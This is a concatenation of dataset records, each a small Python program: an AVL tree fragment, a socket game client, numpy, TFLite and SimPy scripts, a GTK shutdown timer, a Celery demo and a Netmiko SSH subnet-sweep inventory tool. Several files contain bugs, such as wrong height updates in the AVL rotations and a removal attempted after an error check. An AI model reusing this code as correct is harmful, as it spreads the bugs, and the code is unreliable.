root.height = 1 + max(self.getHeight(root.L),self.getHeight(root.R))\n\n balance = self.B(root)\n\n if balance > 1 and nod < root.L.V:\n return self.RRotate(root)\n if balance < -1 and nod > root.R.V:\n return self.LRotate(root)\n if balance > 1 and nod > root.L.V:\n root.L = self.LRotate(root.L)\n return self.RRotate(root)\n if balance < -1 and nod < root.R.V:\n root.R = self.RRotate(root.R)\n return self.LRotate(root)\n\n def LRotate(self, z):\n y = z.R\n T2 = y.L\n\n y.L = z\n z.R = T2\n\n z.height = 1 + max(self.getHeight(z.L), self.getHeight(z.R))\n y.height = 1+ max(self.getHeight(z.L), self.getHeight(z.R))\n return y\n\n def RRotate(self, z):\n y = z.L\n T3 = y.R\n\n y.R = z\n z.L = T3\n\n z.height = 1 + max(self.getHeight(z.L), self.getHeight(z.R))\n y.height = 1+ max(self.getHeight(z.L), self.getHeight(z.R))\n return y\n\n def getHeight(self,root):\n if not root:\n return 0\n return root.height\n\n def getBalance(self,root):\n if not root:\n return 0\n return self.getHeight(root.L)-self.getHeight(root.R)\n\n def preOrder(self,root):\n if not root:\n return\n print(\"{0}\".format(root.V), end=\"\")\n self.preOrder(root.L)\n self.preOrder(root.R)\n","sub_path":"AVL Tree.py","file_name":"AVL Tree.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"635913911","text":"import socket\nfrom threading import Thread\nfrom appJar import gui\nimport time\n\nHOST = '127.0.0.1'\nPORT = 12345\nguess = ''\noutput = 'Enter playername and connect'\nplayers = ['Connected:']\n\n\n\ndef btncallback(btn):\n\n if btn == 'submit':\n guess = app.getEntry('input')\n s.sendall(guess.encode('UTF-8'))\n app.clearEntry('input')\n\n if btn == 'connect':\n global output\n playername = '#%&' + app.getEntry('input')\n s.sendall(playername.encode('utf-8'))\n output = ''\n app.addButtons(['submit', 'quit'], btncallback)\n app.removeButton('connect')\n app.clearEntry('input')\n app.showLabel('players')\n\n if btn == 'quit':\n s.sendall('quitting'.encode('utf-8'))\n app.stop()\n \napp = gui('Wordgame')\napp.setSize('400x300')\napp.setBg('salmon')\napp.addLabel('players', players)\napp.hideLabel('players')\napp.addEntry('input')\napp.setEntryMaxLength('input', 5)\napp.addLabel('output', '')\napp.addButton('connect', btncallback)\n\n\ndef receiving(s):\n while True:\n global output\n global players\n data = s.recv(256).decode('utf-8')\n if not data:\n break\n # #&% is char used to find usernames \n if '#%&' in data:\n if data.strip('#%&') not in players:\n players.append(data.strip('#%&'))\n app.setLabel('players', players)\n elif 'sss' in data:\n output = f'Vinnaren är: {data[3:len(data)]} \\n ett nytt ord går att gissa på'\n app.setLabel('output', output)\n else:\n app.setLabel('output', data)\n\ndef main():\n global s\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((HOST,PORT))\n Thread(target=receiving, args=(s,)).start()\n app.go()\n \n\nif __name__ == \"__main__\":\n main()\n ","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"509284628","text":"# import numpy as np\r\n#\r\n# # a= np.zeros((2, 2, 3),dtype=np.uint8)\r\n# # print(a.shape)\r\n# # print(a)\r\n# # a[0][1][1] = 2\r\n# # print(a)\r\n# '''\r\n# # array([[[ 0, 1, 2, 3],\r\n# # [ 4, 5, 6, 7],\r\n# # [ 8, 9, 10, 11]],\r\n# #\r\n# # [[12, 13, 14, 15],\r\n# # [16, 17, 18, 19],\r\n# # [20, 21, 22, 23]]])\r\n# # '''\r\n# # a = np.arange(24).reshape((2, 3, 4))\r\n# # d = a[:,:,1]\r\n# # print('d = a[:,:,1]\\n',d)\r\n# #\r\n# # e = a[..., 1]\r\n#\r\n# l0 = np.arange(6).reshape((2, 3))\r\n# l1 = np.arange(6, 12).reshape((2, 3))\r\n# '''\r\n# vstack 是指沿着纵轴拼接两个 arrary, vertical\r\n# hstack 是指沿着横轴拼接两个array, horizontal\r\n# 更广义的拼接实现是用concatenate实现,horizonta后的两句依次等于vstack和hstack\r\n# stack不是拼接而是在输入arrary的基础上增加一个新的维度\r\n# '''\r\n# m = np.stack((l0, l1))\r\n# p = np.hstack((l0, l1))\r\n# q = np.concatenate((l0, l1))\r\n# r = np.concatenate((l0, l1), axis=-1)\r\n# s = np.stack((l0, l1))\r\n# print('l0 = np.arange(6).reshape((2, 3))\\n',l0)\r\n# print('l1 = np.arange(6, 12).reshape((2, 3))\\n',l1)\r\n#\r\n# print('m = np.stack((l0, l1))\\n',m)\r\n# print('p = np.hstack((l0, l1))\\n',p)\r\n# print('q = np.concatenate((l0, l1))\\n',q)\r\n# print('r = np.concatenate((l0, l1), axis=-1)\\n',r)\r\n# print('s = np.stack((l0, l1))\\n',s)\r\n#\r\n# import numpy.random as random\r\n# print(random.rand(1, 3))\r\n# print(random.sample((3, 3)))\r\n# print(random.randint(1,10,10))\r\n#\r\n# import time\r\n#\r\n# n_test = 1000\r\n# # 1000赌门,的中奖序列\r\n# winning_doors = random.randint(1, 4, n_test)\r\n# # 获胜次数\r\n# winning = 0\r\n# # 失败错误\r\n# failing = 0\r\n#\r\n# for winning_door in winning_doors:\r\n# # 第一次尝试 猜测\r\n# first_try = random.randint(1, 4)\r\n# # 其他门的编号\r\n# remaining_choices = [i for i in range(1, 4) if i != first_try]\r\n# # 错误门的编号\r\n# wrong_doors = [i for i in range(1, 4) if i != winning_door]\r\n# # 从剩下的门中,去掉选的门\r\n# if first_try in wrong_doors:\r\n# wrong_doors.remove(first_try)\r\n#\r\n# # 主持人打开一门\r\n# srceen_out = random.choice(wrong_doors)\r\n# remaining_choices.remove(srceen_out)\r\n# changed_mind_try = remaining_choices[0]\r\n#\r\n# # 结果揭晓,记录下来\r\n# winning += 1 if changed_mind_try == winning_door else 0\r\n# failing += 1 if first_try == winning_door else 0\r\n#\r\n#\r\n# print(\r\n# 'You win {1} out of {0} tests if you changed your mind\\n'\r\n# 'You win {2} out of {0} tests if you insist on the initial choice'.format(\r\n# n_test, winning, failing\r\n# )\r\n# )\r\n#\r\n\r\nimport numpy as np\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\nimport time\r\n# 通过rcParams 设置全局字体大小\r\nmpl.rcParams['xtick.labelsize'] = 24\r\nmpl.rcParams['ytick.labelsize'] = 24\r\nnp.random.seed(int(time.time()//10))\r\n\r\nx = np.linspace(0, 5, 100)\r\ny = 2 * np.sin(x)+ 0.3 * x**2\r\ny_data = y + np.random.normal(scale=0.3, size=100)\r\nplt.figure('data')\r\nplt.plot(x, y_data, '.')\r\n\r\nplt.figure('model')\r\nplt.plot(x, y)\r\n\r\nplt.figure('data & model')\r\nplt.plot(x, y, 'k', lw=2)\r\nplt.scatter(x, y_data)\r\nplt.show()\r\n","sub_path":"numpy——test.py","file_name":"numpy——test.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"382790174","text":"def main():\n lst = []\n\n print(\"Welcome to note 3000 revolution!\")\n while True:\n print()\n selected_int = int(show_prompt())\n selected_int -= 1\n\n if selected_int == 0:\n note = input(\"Note: \")\n\n if note == \"\":\n print(\"Error: insert a name.\\n\")\n continue\n \n lst.append(note)\n \n elif selected_int == 1:\n note = input(\"Note: \")\n\n if not note in lst:\n print(\"Error: note isn't present in your list.\\n\")\n \n lst.remove(note)\n \n elif selected_int == 2:\n lst.sort()\n print(*map(lambda e: \"%d. %s\" % (lst.index(e) + 1, e), lst), sep=\";\\n\", end=\".\\n\")\n \n elif selected_int == 3:\n break\n\ndef show_prompt():\n entries = [\n \"insert a new task (a string of text)\",\n \"remove a task (by typing its content, exactly)\",\n \"show all existing tasks, sorted in alphabetic order\",\n \"close the program\"]\n\n print(*map(lambda e: \"%d. %s\" % (entries.index(e) + 1, e), entries), sep=\";\\n\", end=\".\\n\")\n return input(\" > \")\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"141264799","text":"\"\"\" Author: Firoj Kumar\n\n Date: 10-05-2020\n\nThis program print pattern !\"\"\"\n\nx=4\nfor row in range(1,x+1):\n for column in range(1,row+1):\n print(\"*\",end=\" \")\n print( )\n\n\"\"\"outpur *\n **\n ***\n **** \"\"\"","sub_path":"print pattern right angle traingle using an asterik program.py","file_name":"print pattern right angle traingle using an asterik program.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"518921285","text":"#!/usr/bin/python3\n\nimport tflite_runtime.interpreter as tflite\nimport cv2\nimport numpy as np\nimport time\nimport argparse\n\nparser = argparse.ArgumentParser(description='A test program.')\nparser.add_argument(\"-c\", \"--confidence\", help=\"probability\")\nparser.add_argument(\"-i\", \"--image_path\", help=\"image path\")\nargs = parser.parse_args()\n\n\nstart_time = time.time()\ninterpreter = tflite.Interpreter(model_path=\"efficientdet.tflite\")\noriginal_image = cv2.imread(\"Images/\"+ args.image_path)\nif original_image is None:\n raise TypeError(\"Null Image\")\nimage = cv2.resize(original_image,(320,320))\nimage = cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\ninput_image = np.expand_dims(image,0)\n\nlabels = np.loadtxt(\"labelmap.txt\",dtype = str, delimiter=\"/n\")\n\n\n\ninterpreter.allocate_tensors()\n\n# Get input and output tensors.\ninput_details = interpreter.get_input_details()\noutput_details = interpreter.get_output_details()\n\n# Test the model on random input data.\n\ninterpreter.set_tensor(input_details[0]['index'], input_image)\n\ninvoke_time = time.time()\ninterpreter.invoke()\nprint(\"invoke time:\", time.time()-invoke_time, \"sec\")\n# The function `get_tensor()` returns a copy of the tensor data.\n# Use `tensor()` in order to get a pointer to the tensor.\nboxesPosition = interpreter.get_tensor(output_details[0]['index'])\nboxesPosition[:,:,0] = boxesPosition[:,:,0]*original_image.shape[0]\nboxesPosition[:,:,1] = boxesPosition[:,:,1]*original_image.shape[1]\nboxesPosition[:,:,2] = boxesPosition[:,:,2]*original_image.shape[0]\nboxesPosition[:,:,3] = boxesPosition[:,:,3]*original_image.shape[1]\nboxesPosition = boxesPosition.astype(int)\nprobability = interpreter.get_tensor(output_details[2]['index'])\n\ncategories = interpreter.get_tensor(output_details[1]['index'])\ncategories = categories[probability>float(args.confidence)]\n\nboxesPosition = boxesPosition[probability>float(args.confidence)]\nprobability = probability[probability>float(args.confidence)]\nfor i in range(len(categories)):\n label = labels[(int)(categories[i])]\n print(label, \" \" , probability[i])\n originali_mage = cv2.rectangle(original_image, (boxesPosition[i][1],boxesPosition[i][0]), (boxesPosition[i][3],boxesPosition[i][2]), (0,0,0), 2)\n cv2.putText(original_image, label, (boxesPosition[i][1],boxesPosition[i][0]+20), cv2.FONT_HERSHEY_SIMPLEX, 0.9, (0,0,0), 2)\ncv2.imwrite(\"DetectedImages/\"+ args.image_path, original_image)\nprint(\"whole time\",time.time()-start_time,\"sec\")\n\n","sub_path":"efficientDet/testmodel.py","file_name":"testmodel.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"37356785","text":"#!/usr/bin/env python\n#\n# shutdown.py\n# \n# Copyright 2009 Sebastian Zwierzchowski \n# \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n\nimport gtk\nimport gobject\nimport os\n\nclass MainWindow(gtk.Window):\n \"\"\" Class doc \"\"\"\n \n def __init__ (self,time=10):\n \"\"\" Class initialiser \"\"\"\n gtk.Window.__init__(self,gtk.WINDOW_POPUP)\n \n self.time = time\n \n label1 = gtk.Label()\n label1.set_markup('Computer will be shutdown after :')\n self.label2 = gtk.Label()\n self.label2.set_markup('%d' % self.time)\n #button cancel\n btn_cancel = gtk.Button('Cancel',gtk.STOCK_CANCEL)\n btn_cancel.connect('clicked',self.main_quit)\n # end button cancel\n \n #button shutdown\n btn_shutdown = gtk.Button('Shutdown')\n btn_shutdown.connect('clicked',self.shutdown)\n # end button shudown\n \n # HBox1\n hbox1 = gtk.HBox(False,0)\n hbox1.pack_start(btn_shutdown)\n hbox1.pack_start(btn_cancel)\n hbox1.set_spacing(10)\n # end HBox1\n \n # VBox1\n vbox1 = gtk.VBox(False,0)\n vbox1.pack_start(label1)\n vbox1.pack_start(self.label2)\n vbox1.pack_start(hbox1)\n vbox1.set_spacing(10)\n # end Vbox1\n \n\n \n #window\n self.stick()\n #self.fullscreen()\n self.set_keep_above(True)\n self.set_position(gtk.WIN_POS_CENTER_ALWAYS)\n self.set_border_width(8)\n self.set_default_size(300, 300)\n self.connect('delete-event',self.main_quit)\n self.add(vbox1)\n self.show_all()\n \n def countdown (self):\n \"\"\" Function doc \"\"\"\n self.time= self.time-1\n self.label2.set_markup('%d' % self.time)\n if self.time <= 0:\n self.shutdown()\n return False\n return True\n \n def shutdown (self,widget=None):\n \"\"\" Function doc \"\"\"\n \n gtk.main_quit()\n print(\"shutdown\")\n os.system(\"sudo shutdown -h now\")\n \n def main_quit (self,widget, data=None):\n \"\"\" Function doc \"\"\"\n gtk.main_quit()\n \n def main (self):\n \"\"\" Function doc \"\"\"\n gobject.timeout_add (1000, self.countdown)\n gtk.main()\n \n\nif __name__ == '__main__':\n mw = MainWindow(30)\n mw.main()\n","sub_path":"shutdown/shutdown.py","file_name":"shutdown.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"613656329","text":"import mediapipe as mp \r\nimport numpy as np \r\nimport cv2 as cv \r\nimport math\r\n\r\nmp_drawing = mp.solutions.drawing_utils\r\nmp_hands = mp.solutions.hands\r\n\r\n\r\ncap = cv.VideoCapture(0)\r\nline = []\r\nif not cap.isOpened():\r\n raise IOError(\"Cannot open webcam\")\r\n\r\nwith mp_hands.Hands(min_detection_confidence = 0.5, min_tracking_confidence = 0.5) as hands : \r\n while cap.isOpened():\r\n success, img = cap.read()\r\n if not success : \r\n print(\"Ignoring empty camera frame.\")\r\n break\r\n\r\n results = hands.process(img)\r\n\r\n if results.multi_hand_landmarks:\r\n for hand_landmarks in results.multi_hand_landmarks:\r\n for id , lm in enumerate(hand_landmarks.landmark):\r\n h, w, c = img.shape\r\n cx, cy = int(lm.x*w), int(lm.y*h)\r\n if id == 8: \r\n print(id, cx, cy)\r\n if len(line) == 100:\r\n line.pop(0)\r\n line.append((cx,cy))\r\n for dot in line :\r\n cv.circle(img, dot, 15, (255,0,0), cv.FILLED)\r\n # mp_drawing.draw_landmarks(\r\n # img, hand_landmarks, mp_hands.HAND_CONNECTIONS)\r\n cv.imshow('Finger Painter', img)\r\n c = cv.waitKey(1)\r\n if c == 27:\r\n break\r\n \r\n\r\n\r\ncap.release()\r\n","sub_path":"fingerPainter.py","file_name":"fingerPainter.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"585880249","text":"# Author: Kevin Köck\n# Copyright Kevin Köck 2019 Released under the MIT license\n# Created on 2019-04-26 \n\n__updated__ = \"2019-06-04\"\n__version__ = \"0.5\"\n\nfrom pysmartnode import config\nimport uasyncio as asyncio\nfrom pysmartnode.utils import sys_vars\nimport gc\n\n# This module is used to create components that interact with mqtt.\n# This could be sensors, switches, binary_sensors etc.\n# It provides a base class for linking components and subscribed topics and\n# provides the basis for homeassistant autodiscovery.\n# Helping components like arduino, i2c and similar that only provide helper objects (like Pins)\n# don't need to use this module as a basis.\n\n_mqtt = config.getMQTT()\n\n# The discovery base should be a json string to keep the RAM requirement low and only need\n# to use format to enter the dynamic values so that the string is only loaded into RAM once\n# during the discovery method call.\n# Defining every base sensor in this module instead of in every custom component reduces RAM\n# requirements of modules that are not frozen to firmware.\n# For more variables see: https://www.home-assistant.io/docs/mqtt/discovery/\nDISCOVERY_BASE = '{{' \\\n '\"~\":\"{!s}\",' \\\n '\"name\":\"{!s}\",' \\\n '\"stat_t\":\"~\",' \\\n '\"avty_t\":\"{!s}/{!s}/status\",' \\\n '\"uniq_id\":\"{!s}_{!s}\",' \\\n '{!s}' \\\n '\"dev\":{!s}' \\\n '}}'\n# '\"pl_avail\":\"online\",' \\\n# '\"pl_not_avail\":\"offline\",' \\\n# standard values\n\nDISCOVERY_BASE_NO_AVAIL = '{{' \\\n '\"~\":\"{!s}\",' \\\n '\"name\":\"{!s}\",' \\\n '\"stat_t\":\"~\",' \\\n '\"uniq_id\":\"{!s}_{!s}\",' \\\n '{!s}' \\\n '\"dev\":{!s}' \\\n '}}'\n\nDISCOVERY_SENSOR = '\"dev_cla\":\"{!s}\",' \\\n '\"unit_of_meas\":\"{!s}\",' \\\n '\"val_tpl\":\"{!s}\",'\n\nTIMELAPSE_TYPE = '\"dev_cla\":\"timestamp\",' \\\n '\"ic\":\"mdi:timelapse\",'\n\nDISCOVERY_BINARY_SENSOR = '\"dev_cla\":\"{!s}\",' # \"pl_on\":\"ON\", \"pl_off\":\"OFF\",' are default\n\nDISCOVERY_SWITCH = '\"cmd_t\":\"~/set\",' # '\"stat_on\":\"ON\",\"stat_off\":\"OFF\",' are default\n\n\nclass Component:\n \"\"\"\n Use this class as a base for components. Subclass to extend. See the template for examples.\n \"\"\"\n _discovery_lock = config.Lock()\n\n # prevent multiple discoveries from running concurrently and creating Out-Of-Memory errors\n\n def __init__(self):\n self._topics = {}\n # No RAM allocation for topic strings as they are passed by reference if saved in a variable in subclass.\n # self._topics is used by mqtt to know which component a message is for.\n self._next_component = None # needed to keep a list of registered components\n config.addComponent(self)\n asyncio.get_event_loop().create_task(self._init())\n\n async def _init(self):\n for t in self._topics:\n await _mqtt.subscribe(t, qos=1)\n if config.MQTT_DISCOVERY_ENABLED is True:\n async with self._discovery_lock:\n await self._discovery()\n\n def _subscribe(self, topic, cb):\n self._topics[topic] = cb\n\n async def on_reconnect(self):\n \"\"\"\n Subclass to process a reconnect.\n Useful if you need to send a message on reconnect.\n Resubscribing to topics is done by mqtt_handler and doesn't need to be done manually.\n \"\"\"\n pass\n\n async def _discovery(self):\n \"\"\"Implement in subclass. Is only called by self._init unless config.MQTT_DISCOVERY_ON_RECONNECT is True.\"\"\"\n pass\n\n @staticmethod\n async def _publishDiscovery(component_type, component_topic, unique_name, discovery_type, friendly_name=None):\n topic = Component._getDiscoveryTopic(component_type, unique_name)\n msg = Component._composeDiscoveryMsg(component_topic, unique_name, discovery_type, friendly_name)\n await _mqtt.publish(topic, msg, qos=1, retain=True)\n del msg, topic\n gc.collect()\n\n @staticmethod\n def _composeDiscoveryMsg(component_topic, name, component_type_discovery, friendly_name=None,\n no_avail=False):\n \"\"\"\n Helper function to separate dynamic system values from user defineable values.\n :param component_topic: state topic of the component. device topics (see mqtt) are supported\n :param name: name of the component, must be unique on the device, typically composed of component name and count\n :param component_type_discovery: discovery values for the component type, e.g. switch, sensor\n :param friendly_name: optional a readable name that is used in the gui and entity_id\n :param no_avail: don't add availability configs (typically only used for the availability component itself)\n :return: str\n \"\"\"\n friendly_name = friendly_name or name\n component_topic = component_topic if _mqtt.isDeviceTopic(component_topic) is False else _mqtt.getRealTopic(\n component_topic)\n if no_avail is True:\n return DISCOVERY_BASE_NO_AVAIL.format(component_topic, # \"~\" component state topic\n friendly_name, # name\n sys_vars.getDeviceID(), name, # unique_id\n component_type_discovery, # component type specific values\n sys_vars.getDeviceDiscovery()) # device\n return DISCOVERY_BASE.format(component_topic, # \"~\" component state topic\n friendly_name, # name\n config.MQTT_HOME, sys_vars.getDeviceID(), # availability_topic\n sys_vars.getDeviceID(), name, # unique_id\n component_type_discovery, # component type specific values\n sys_vars.getDeviceDiscovery()) # device\n\n @staticmethod\n def _getDiscoveryTopic(component_type, name):\n return \"{!s}/{!s}/{!s}/{!s}/config\".format(config.MQTT_DISCOVERY_PREFIX, component_type,\n sys_vars.getDeviceID(), name)\n","sub_path":"pysmartnode/utils/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":6380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"650644443","text":"\r\n# Virtualenvireonment aus :/mnt/d/Python/virtenv/ve_netmiko \r\n# cd /mnt/d/Python/virtenv/ve_netmiko \r\n# source bin/activate\r\n\r\nfrom tcpping import tcpping \r\nfrom netmiko import ConnectHandler\r\nimport ipaddress\r\nfrom time import time\r\nimport getpass\r\nfrom multiprocessing.dummy import Pool as ThreadPool\r\n\r\n\r\ndef check_ip_network(ip_net):\r\n try:\r\n ipaddress.IPv4Network(ip_net)\r\n\r\n return (True)\r\n except:\r\n return (False)\r\n\r\ndef worker_ssh_test(IP):\r\n if tcpping(str(IP),22,2):\r\n reachable.append(str(IP))\r\n\r\n\r\ndef worker_get_devicesinfo(IP):\r\n hostip=IP\r\n try :\r\n ssh_session = ConnectHandler(device_type=\"cisco_ios\",ip=hostip,username=user,password=pwd)\r\n sh_ver = ssh_session.send_command(\"show version\")\r\n hostname = ssh_session.find_prompt()\r\n if \"LINUXL2\" in sh_ver:\r\n hosttype = \"Switch\"\r\n elif \"linux-l3\" in sh_ver:\r\n hosttype = \"Router\"\r\n else:\r\n hosttype = \"Other\"\r\n my_inventory.append({\"hostname\":hostname,\"ip\":IP,\"hosttype\":hosttype})\r\n ssh_session.disconnect()\r\n return (None)\r\n except Exception as e:\r\n print ( IP, \" Failed: \", e) \r\n return (None)\r\n\r\n\r\n\r\n\r\n#==============================================================================\r\n# ---- Main: Create Inventory\r\n#==============================================================================\r\n\r\n# Initialize Gobal Vars\r\nreachable=[]\r\nip_net=\"300.300.300.300/22\"\r\nnum_threads = 75\r\nmy_inventory=[]\r\n\r\nwhile not check_ip_network(ip_net):\r\n ip_net = input(\"Enter Discovery Network, like 192.168.1.0/24: \")\r\n\r\nuser = input(\"Enter Username : \")\r\npwd = getpass.getpass(\"Enter Password : \" )\r\n\r\nprint (\"-\"*40)\r\nhosts = list(ipaddress.IPv4Network(ip_net).hosts())\r\n\r\n#----\r\n#---- Try TCP-SYN on Ip Network\r\n#---- \r\n\r\nstarttime=time()\r\nstarttime1=time()\r\n\r\nprint ('\\n--- Creating threadpool with ',num_threads,' threads: Try TCP-SYN on Port 22 ---\\n')\r\nthreads = ThreadPool( num_threads )\r\nresults = threads.map( worker_ssh_test, hosts )\r\n\r\nthreads.close()\r\nthreads.join()\r\n\r\nprint (\"--- Finished TCP-SYN on \",len(hosts),\" Hosts in \",time()-starttime,\"\\n\")\r\nprint (\"--- Detected \",len(reachable),\" Hosts with open TCP-Port 22\\n\")\r\nprint (\"-\"*40)\r\n# debug only print (\"Reachable Hosts: \",reachable)\r\n\r\n#----\r\n#---- Get Host INfos \r\n#----\r\n\r\nnum_threads = 25\r\nif num_threads >= len(reachable):\r\n num_threads = len(reachable)\r\n\r\nstarttime=time()\r\n\r\nprint ('\\n--- Creating threadpool with ',num_threads,' threads: Try get Hostinfos on ',len(reachable),' Hosts ---\\n\\n')\r\nthreads = ThreadPool( num_threads )\r\nresults = threads.map( worker_get_devicesinfo, reachable )\r\n\r\nthreads.close()\r\nthreads.join()\r\n\r\nprint (\"\\n---Finished get Hostinfos in \",time()-starttime),\" ---\\n\"\r\nprint (\"-\"*40)\r\n# print (my_inventory)\r\n\r\n#----\r\n#---- Writing Inventory File for Nornir\r\n#----\r\n\r\nprint (\"\\n--- writing Inventory File ---\")\r\nwith open(\"hosts.txt\",mode=\"w\") as myfile:\r\n # myfile.write(\"---\\n\")\r\n for device in my_inventory:\r\n # hostname = device.get(\"hostname\")[:-1]\r\n # myfile.write(hostname)\r\n # myfile.write(\":\\n nornir_host: \")\r\n dev_ip = device.get(\"ip\")\r\n myfile.write(dev_ip)\r\n myfile.write(\"\\n\")\r\n # myfile.write(\" \\n nornir_username: \")\r\n # myfile.write(user)\r\n # myfile.write(\"\\n nornir_password: \")\r\n # myfile.write(pwd)\r\n # myfile.write(\"\\n\")\r\n #myfile.write(\" nornir_ssh_port: 22\\n\")\r\n #myfile.write(\" nornir_nos: cisco_ios\\n\")\r\n #if device.get(\"hosttype\") == \"Switch\":\r\n # myfile.write(\" groups:\\n\")\r\n # myfile.write(\" - Switch\\n\")\r\n #elif device.get(\"hosttype\") == \"Router\":\r\n # myfile.write(\" groups:\\n\")\r\n # myfile.write(\" - Router\\n\")\r\n # myfile.write(\"\\n\")\r\n\r\n\r\nprint (\"\\n---- Finished creating hosts.txt for use with ITG-Python-Scripts in \", starttime1-time() ,\"----\\n\")\r\nprint (\"-\"*40)\r\n\r\n","sub_path":"create_inventory.py","file_name":"create_inventory.py","file_ext":"py","file_size_in_byte":4025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"349379645","text":"'''\n 启动 Celery Worker 进程:celery -A celery_app worker --loglevel=info\n 然后即可使用 delay() 或 apply_async() 方法来调用任务了\n'''\nimport time\n\nfrom celery_app.add_task import add_task\nfrom celery_app.multiply_task import multiply_task\n\n# delay 方法封装了 apply_async 而已\n# apply_async 有几个常用参数 countdown: 指定多少秒后执行任务\n\nadd_task.delay(2, 8)\nmultiply_res = multiply_task.apply_async(args=[3, 7], countdown=1)\n# 虽然任务函数 add_task 和 multiply_res 需要等待 5 秒才返回执行结果,\n# 但由于它是一个异步任务,不会阻塞当前的主程序,因此主程序会往下执行 print 语句,打印出结果。\nprint('我不会被阻塞!')\n# 使用 ready() 判断任务是否执行完毕\nwhile not multiply_res.ready():\n time.sleep(0.2)\n\nprint(multiply_res.ready())\nprint(multiply_res.get())\n","sub_path":"70 其他资料、总结/celery_demo/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"92011872","text":"# Factory System Discrete Event Simulation in Python (Process interaction)\n# https://www.youtube.com/watch?v=G2WftFiBRFg&t=167s\n\nimport simpy\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set()\n\n\n# repairers and spares as arguments so that the process can use them\ndef factory_run(env, repairers, spares):\n global cost # setting this as a global variable so that other processes can access and modify\n\n cost = 0.0\n\n # launching the 50 operating machine activities\n for i in range(50):\n env.process(operate_machine(env, repairers, spares))\n\n while True:\n cost += 3.75 * 8 * repairers.capacity + 30 * spares.capacity\n yield env.timeout(8.0)\n\n\ndef operate_machine(env, repairers, spares):\n global cost\n\n while True:\n yield env.timeout(generate_time_to_failure())\n t_broken = env.now\n print(f'{t_broken:.2f} machine broke')\n env.process(repair_machine(env, repairers, spares))\n # launch repair process\n yield spares.get(1) # allow us to wait until one spares is available\n t_replaced = env.now\n print(f'{t_broken:.2f} machine replaced')\n cost += 20 * (t_replaced - t_broken)\n\n\ndef repair_machine(env, repairers, spares):\n with repairers.request() as request:\n yield request\n yield env.timeout(generate_repair_time())\n yield spares.put(1) # put back the spares into the spares pool\n print(f'{env.now:.2f} repair complete')\n\n\ndef generate_time_to_failure():\n return np.random.uniform(132, 182)\n\n\ndef generate_repair_time():\n return np.random.uniform(4,10)\n\n\nobs_times = []\nobs_cost = []\nobs_spares = []\n\n\ndef observe(env, spares):\n while True:\n obs_times.append(env.now)\n obs_cost.append(cost)\n obs_spares.append(spares.level)\n yield env.timeout(1.0) # ensure that the logging interval is 1hour\n\n\nnp.random.seed(0)\n\nenv = simpy.Environment()\n\nrepairers = simpy.Resource(env, capacity=3)\n\n# By representing the spares as a Container rather than a Resource,\n# it allows us some new methods to request and release individual components from it\nspares = simpy.Container(env, init=15, capacity=15)\n\nenv.process(factory_run(env, repairers, spares))\nenv.process(observe(env, spares))\n\nenv.run(until=8*5*52)\n\n\nplt.figure()\nplt.step(obs_times, obs_spares, where='post')\nplt.xlabel('Time (hours)')\nplt.ylabel('Spares level')\n\nplt.figure()\nplt.step(obs_times, obs_cost, where='post')\nplt.xlabel('Time (hours)')\nplt.ylabel('Spares level')\nplt.show()\n\nprint(f'Total cost was {obs_cost[-1]:.3f}')\n","sub_path":"tutorials/examples/grogan_factory.py","file_name":"grogan_factory.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"111295390","text":"class Explorer:\n\tdef __init__(self):\n\t\tself.states = []\n\t\tself.worklist = []\n\n\tdef add(self, n):\n\t\ttry: return self.states.index(n)\n\t\texcept ValueError: pass\n\t\ti = len(self.states)\n\t\tself.states.append(n)\n\t\tself.worklist.append(i)\n\t\tself.bump_size()\n\t\treturn i\n\n\tdef run(self):\n\t\twhile self.worklist:\n\t\t\ti = self.worklist.pop()\n\t\t\tself.explore(i, self.states[i])\n\ndef branch_and_bound(problem):\n\t# expects\n\t# problem.lower\n\t# problem.upper\n\t# problem.solution (on closed nodes)\n\t# problem.closed()\n\t# problem.split() -> [Problem]\n\n\tlowest_upper_bound = infinity\n\twork = [problem]\n\twhile work:\n\t\tsubproblem = work.pop()\n\t\tif subproblem.lower > 